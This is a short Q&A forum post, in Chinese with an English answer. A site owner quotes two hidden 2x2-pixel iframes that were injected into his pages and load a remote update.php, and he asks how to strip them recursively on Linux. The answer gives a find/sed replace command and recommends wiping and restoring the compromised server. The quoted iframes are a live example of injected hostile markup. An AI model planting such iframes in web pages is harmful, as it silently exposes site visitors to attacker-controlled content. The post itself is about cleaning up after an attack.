0

我的网站被黑客入侵并注入了一些这样的代码

<i>
    <iframe src="http://www.cascadecowcutters.org/wp-content/upgrade/update.php" width="2" height="2" frameborder="0"></iframe><iframe src="http://www.cascadecowcutters.org/wp-content/upgrade/update.php" width="2" height="2" frameborder="0"></iframe>
</i>

linux中有没有办法搜索并将这段代码替换为这个''?递归地

4

1 回答 1

0

To 'find' all files and search and replace on those files:

find ./ -type f | xargs sed -i 's/string1/string2/g'

As Joakim mentioned in his comment, anytime you are dealing with a compromised server it is safest to do a complete wipe <> restore. Before restoration make sure to check for exploits. Make sure you know all your web apps are at their most recent version.

于 2012-11-13T14:38:53.047 回答